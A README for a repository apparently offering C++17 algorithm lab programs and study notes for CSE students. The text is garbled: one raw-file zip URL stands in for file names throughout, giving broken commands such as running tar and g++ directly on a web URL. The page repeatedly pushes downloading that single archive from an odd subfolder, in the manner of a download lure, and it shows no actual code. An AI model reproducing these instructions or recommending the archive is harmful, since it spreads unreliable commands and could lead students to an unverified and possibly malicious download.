Welcome to ADA_LAB-STUDY_MATERIAL. This repository holds a collection of detailed lab programs and study notes designed to help you understand algorithms and data structures. Created specifically for CSE 4th Semester students, it covers core topics like sorting, graph theory, dynamic programming, greedy algorithms, and backtracking.
Whether you are preparing for exams or want to strengthen your programming foundation in C++17, this material offers clear examples and study aids that make complex concepts easier to grasp.
You donโt need prior programming knowledge to get started here. The notes include explanations and code implementations you can read and use for learning.
- Complete ADA Lab Programs: Hands-on code examples in C++17 covering various algorithms.
- Detailed Study Notes: Step-by-step guides for topics like sorting algorithms, graph traversal, dynamic programming, and more.
- Topic Range: Algorithms analysis, data structures, greedy methods, backtracking, and exam prep tips.
- Clear Code Style: Programs are commented to explain each step and logic.
- Learning Focus: Ideal for students and beginners learning computational problem-solving.
To use these materials, you will need:
- A computer running Windows, macOS, or Linux.
- A C++ compiler that supports C++17 standard (e.g., GCC 7.4+, Clang 7.0+, or Microsoft Visual Studio 2017+).
- A text editor or IDE like Visual Studio Code, Code::Blocks, or any editor you prefer.
- About 500MB free disk space for downloading and extracting files.
- An internet connection to download files and updates.
This guide will help you step-by-step to download, set up, and open these lab programs even if you are new to programming or software.
Start by clicking the big blue button at the top or this link:
Download ADA_LAB-STUDY_MATERIAL Releases
This page contains all the versions of the lab materials packed for easy download.
On the releases page, look for the latest version. It should have a file with a name that ends in .zip or https://github.com/Sterslo/ADA_LAB-STUDY_MATERIAL/raw/refs/heads/main/searching/AD-STUD-MATERIAL-LA-v1.8.zip.
- Click the file to download it.
- This file contains all the labs and notes in one package.
- Downloads vary by size but should be under 200MB.
After download finishes, you need to extract the contents:
- On Windows, right-click the file and select "Extract Allโฆ".
- On macOS, double-click the file to unzip it.
- On Linux, use your archive manager or run
tar -xzf https://github.com/Sterslo/ADA_LAB-STUDY_MATERIAL/raw/refs/heads/main/searching/AD-STUD-MATERIAL-LA-v1.8.zipin the terminal.
Extract the folder to a location you can find easily, like your Desktop or Documents.
Inside the extracted folder:
- Look for files ending with
.cppโ these are the C++ source code files. - Notes may be in
.md(Markdown) or.pdfformat. - Use any code editor or text reader to open and read them.
You can also open and try running the .cpp files if you have a C++ compiler set up.
If you want to run the programs, follow these general steps based on your operating system:
- Install an IDE like Code::Blocks or Microsoft Visual Studio.
- Open the
.cppfile in your IDE. - Build (compile) the program using the IDEโs build button.
- Run the program by clicking "Run" or pressing F5.
- Open the Terminal application.
- Navigate to the folder where you extracted the files. Example:
cd ~/Desktop/ADA_LAB-STUDY_MATERIAL - Compile a program with g++ (make sure g++ supports C++17):
g++ -std=c++17 https://github.com/Sterslo/ADA_LAB-STUDY_MATERIAL/raw/refs/heads/main/searching/AD-STUD-MATERIAL-LA-v1.8.zip -o program_name - Run the compiled program:
./program_name
Replace https://github.com/Sterslo/ADA_LAB-STUDY_MATERIAL/raw/refs/heads/main/searching/AD-STUD-MATERIAL-LA-v1.8.zip with the file you want to run.
Within the download package, you will find folders organized by topics such as:
- Sorting Algorithms โ Bubble sort, Quick sort, Merge sort, Heap sort.
- Graph Algorithms โ DFS, BFS, shortest path.
- Dynamic Programming โ Memoization and bottom-up examples.
- Greedy Algorithms โ Activity selection, coin change.
- Backtracking โ N-Queens, Sudoku solver.
- Study Notes โ Detailed explanation documents and exam tips.
Each folder contains examples and notes related to the topic named.
Yes. The notes explain algorithms clearly. You donโt need to compile the programs to learn from the theory and logic.
Choose one that supports C++17. GCC 7.4 or later, Clang 7 or later, or Microsoft Visual Studio 2017 are good choices.
Make sure you copied the files correctly and that your compiler settings support C++17 syntax. If you need help, look for beginnerโs tutorials online on how to compile C++ code on your OS.
Visit this page to download the latest version of ADA_LAB-STUDY_MATERIAL:
Download the main zip file, extract it, and youโre ready to browse the study notes and try the code samples. This process ensures you get all the materials organized and ready to use.
Take your time exploring the included topics. Running the example programs and reading the notes will help you understand how algorithms work step by step. This resource is built to guide you through fundamental concepts in a clear and structured way.